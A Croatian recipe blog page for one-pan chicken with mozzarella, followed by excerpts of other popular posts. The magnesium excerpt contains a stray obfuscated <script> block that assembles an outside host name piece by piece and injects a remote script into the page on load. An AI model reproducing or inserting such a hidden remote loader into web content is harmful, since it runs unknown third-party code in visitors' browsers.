PILETINA S MOZZARELLOM IZ JEDNE TAVE 🐔




Piletina s mozzarellom iz jedne tave 



Ako tražite brz, ukusan i jednostavan ručak koji će se svidjeti cijeloj obitelji, ova piletina s mozzarellom iz jedne tave pravi je izbor. Sočni pileći fileti, bogati umak od rajčice, mirisni bosiljak i rastopljena mozzarella stvaraju savršenu kombinaciju mediteranskih okusa. Osim što je iznimno ukusno, ovo se jelo priprema u samo jednoj tavi, što znači manje pranja posuđa i više vremena za uživanje u obroku.





Piletina s mozzarellom iz jedne tave 


Sastojci:

400 g pilećeg filea

1 konzerva pelata (400 ml)

50 g poriluka

1–2 žličice sušenog bosiljka

125 g mozzarelle

Svježi peršin

Sol, papar i suhi začin po želji

Malo maslinovog ili biljnog ulja

Prstohvat šećera (po želji)


Priprema


Pileći file narežite na tanje odreske te ih začinite solju, paprom i suhim začinom prema vlastitom ukusu. U zagrijanoj tavi na malo ulja kratko popržite sitno nasjeckani poriluk dok ne omekša. Dodajte pelate i bosiljak te kuhajte desetak minuta kako bi se umak lagano zgusnuo i razvio bogat okus. Po želji dodajte prstohvat šećera kako biste ublažili kiselost rajčice. U pripremljeni umak posložite pileće odreske, poklopite tavu i kuhajte na laganoj vatri 15 do 20 minuta, dok piletina ne postane potpuno mekana i sočna. Na polovici kuhanja pospite jelo sitno nasjeckanim peršinom. Pred sam kraj preko svakog komada piletine rasporedite ploške mozzarelle, ponovno poklopite tavu i ostavite nekoliko minuta da se sir potpuno rastopi. Prije posluživanja po želji dodatno pospite svježim peršinom.


Prijedlog za posluživanje

Ova piletina s mozzarellom izvrsno se slaže uz pire krumpir, kuhanu rižu, tjesteninu ili hrskavi domaći kruh kojim možete upiti bogati umak. Uz svježu zelenu salatu dobit ćete ukusan i uravnotežen obrok za svaki dan.


Savjet

Za još bogatiji okus u umak možete dodati nekoliko cherry rajčica ili nekoliko listića svježeg bosiljka neposredno prije posluživanja. Tako će jelo biti još aromatičnije i vizualno privlačnije.


Dobar tek!



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više